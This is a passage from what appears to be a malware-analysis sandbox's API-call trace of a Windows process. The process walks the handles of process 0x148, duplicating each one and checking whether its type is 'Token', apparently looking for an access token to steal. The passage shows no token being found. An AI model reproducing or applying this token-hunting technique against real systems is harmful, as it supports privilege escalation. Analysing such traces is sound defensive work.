hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.841] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.841] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.841] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.841] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.841] LocalFree (hMem=0x160a40) returned 0x0 [0196.841] CloseHandle (hObject=0x16c) returned 1 [0196.841] CloseHandle (hObject=0x168) returned 1 [0196.841] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.841] GetCurrentProcess () returned 0xffffffffffffffff [0196.841] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x304, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.841] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.841] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.841] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.841] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.841] LocalFree (hMem=0x160a40) returned 0x0 [0196.841] CloseHandle (hObject=0x16c) returned 1 [0196.841] CloseHandle (hObject=0x168) returned 1 [0196.841] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.842] GetCurrentProcess () returned 0xffffffffffffffff [0196.842] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x308, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.842] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.842] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.842] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.842] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.842] LocalFree (hMem=0x160a40) returned 0x0 [0196.842] CloseHandle (hObject=0x16c) returned 1 [0196.842] CloseHandle (hObject=0x168) returned 1 [0196.842] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.842] GetCurrentProcess () returned 0xffffffffffffffff [0196.842] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x30c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.842] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.842] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.842] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.842] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.842] LocalFree (hMem=0x160a40) returned 0x0 [0196.842] CloseHandle (hObject=0x16c) returned 1 [0196.842] CloseHandle (hObject=0x168) returned 1 [0196.842] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.842] GetCurrentProcess () returned 0xffffffffffffffff [0196.842] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x310, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.842] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.843] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.843] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.843] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.843] LocalFree (hMem=0x160a40) returned 0x0 [0196.843] CloseHandle (hObject=0x16c) returned 1 [0196.843] CloseHandle (hObject=0x168) returned 1 [0196.843] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.843] GetCurrentProcess () returned 0xffffffffffffffff [0196.843] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x318, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.843] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.843] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.843] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.843] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.843] LocalFree (hMem=0x160a40) returned 0x0 [0196.843] CloseHandle (hObject=0x16c) returned 1 [0196.843] CloseHandle (hObject=0x168) returned 1 [0196.843] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.843] GetCurrentProcess () returned 0xffffffffffffffff [0196.843] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x31c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.843] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.843] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.843] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.843] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.843] LocalFree (hMem=0x160a40) returned 0x0 [0196.843] CloseHandle (hObject=0x16c) returned 1 [0196.844] CloseHandle (hObject=0x168) returned 1 [0196.844] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.844] GetCurrentProcess () returned 0xffffffffffffffff [0196.844] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x320, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.844] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.844] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.844] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.844] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.844] LocalFree (hMem=0x160a40) returned 0x0 [0196.844] CloseHandle (hObject=0x16c) returned 1 [0196.844] CloseHandle (hObject=0x168) returned 1 [0196.844] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.844] GetCurrentProcess () returned 0xffffffffffffffff [0196.844] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x324, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.844] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.844] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.844] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.844] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.844] LocalFree (hMem=0x160a40) returned 0x0 [0196.844] CloseHandle (hObject=0x16c) returned 1 [0196.844] CloseHandle (hObject=0x168) returned 1 [0196.844] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.844] GetCurrentProcess () returned 0xffffffffffffffff [0196.845] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x328, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.845] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.845] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.845] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.845] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.845] LocalFree (hMem=0x160a40) returned 0x0 [0196.845] CloseHandle (hObject=0x16c) returned 1 [0196.845] CloseHandle (hObject=0x168) returned 1 [0196.845] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.845] GetCurrentProcess () returned 0xffffffffffffffff [0196.845] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x32c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.845] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.845] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.845] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.845] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.845] LocalFree (hMem=0x160a40) returned 0x0 [0196.845] CloseHandle (hObject=0x16c) returned 1 [0196.845] CloseHandle (hObject=0x168) returned 1 [0196.845] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.845] GetCurrentProcess () returned 0xffffffffffffffff [0196.845] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x330, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.845] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.845] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.845] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.846] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.846] LocalFree (hMem=0x160a40) returned 0x0 [0196.846] CloseHandle (hObject=0x16c) returned 1 [0196.846] CloseHandle (hObject=0x168) returned 1 [0196.846] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.846] GetCurrentProcess () returned 0xffffffffffffffff [0196.846] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x334, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.846] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.846] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.846] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.846] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.846] LocalFree (hMem=0x160a40) returned 0x0 [0196.846] CloseHandle (hObject=0x16c) returned 1 [0196.846] CloseHandle (hObject=0x168) returned 1 [0196.846] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.846] GetCurrentProcess () returned 0xffffffffffffffff [0196.846] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x338, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.846] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.846] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.846] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.846] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.846] LocalFree (hMem=0x160a40) returned 0x0 [0196.846] CloseHandle (hObject=0x16c) returned 1 [0196.846] CloseHandle (hObject=0x168) returned 1 [0196.847] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.847] GetCurrentProcess () returned 0xffffffffffffffff [0196.847] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x33c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.847] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.847] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.847] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.847] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.847] LocalFree (hMem=0x181a40) returned 0x0 [0196.847] CloseHandle (hObject=0x16c) returned 1 [0196.847] CloseHandle (hObject=0x168) returned 1 [0196.847] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.847] GetCurrentProcess () returned 0xffffffffffffffff [0196.847] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x340, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.847] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.847] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.847] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.847] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.847] LocalFree (hMem=0x160a40) returned 0x0 [0196.847] CloseHandle (hObject=0x16c) returned 1 [0196.847] CloseHandle (hObject=0x168) returned 1 [0196.847] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.847] GetCurrentProcess () returned 0xffffffffffffffff [0196.847] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x344, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.848] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.848] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.848] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.848] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.848] LocalFree (hMem=0x160a40) returned 0x0 [0196.848] CloseHandle (hObject=0x16c) returned 1 [0196.848] CloseHandle (hObject=0x168) returned 1 [0196.848] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.848] GetCurrentProcess () returned 0xffffffffffffffff [0196.848] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x348, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.848] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.848] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.848] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.848] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.848] LocalFree (hMem=0x160a40) returned 0x0 [0196.848] CloseHandle (hObject=0x16c) returned 1 [0196.848] CloseHandle (hObject=0x168) returned 1 [0196.848] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.848] GetCurrentProcess () returned 0xffffffffffffffff [0196.848] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x34c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.848] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.848] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.848] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.848] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.849] LocalFree (hMem=0x160a40) returned 0x0 [0196.849] CloseHandle (hObject=0x16c) returned 1 [0196.849] CloseHandle (hObject=0x168) returned 1 [0196.849] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.849] GetCurrentProcess () returned 0xffffffffffffffff [0196.849] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x354, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.849] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.849] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.849] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.849] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.849] LocalFree (hMem=0x160a40) returned 0x0 [0196.849] CloseHandle (hObject=0x16c) returned 1 [0196.849] CloseHandle (hObject=0x168) returned 1 [0196.849] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.849] GetCurrentProcess () returned 0xffffffffffffffff [0196.849] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x358, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.849] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.850] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.850] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.850] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.850] LocalFree (hMem=0x160a40) returned 0x0 [0196.850] CloseHandle (hObject=0x16c) returned 1 [0196.850] CloseHandle (hObject=0x168) returned 1 [0196.850] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.850] GetCurrentProcess () returned 0xffffffffffffffff [0196.850] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x35c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.850] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.850] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.850] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.850] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.850] LocalFree (hMem=0x160a40) returned 0x0 [0196.850] CloseHandle (hObject=0x16c) returned 1 [0196.851] CloseHandle (hObject=0x168) returned 1 [0196.851] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.851] GetCurrentProcess () returned 0xffffffffffffffff [0196.851] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x360, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.851] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.851] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.851] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.851] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.851] LocalFree (hMem=0x160a40) returned 0x0 [0196.851] CloseHandle (hObject=0x16c) returned 1 [0196.851] CloseHandle (hObject=0x168) returned 1 [0196.851] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.851] GetCurrentProcess () returned 0xffffffffffffffff [0196.851] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x364, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.851] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.851] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.851] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, 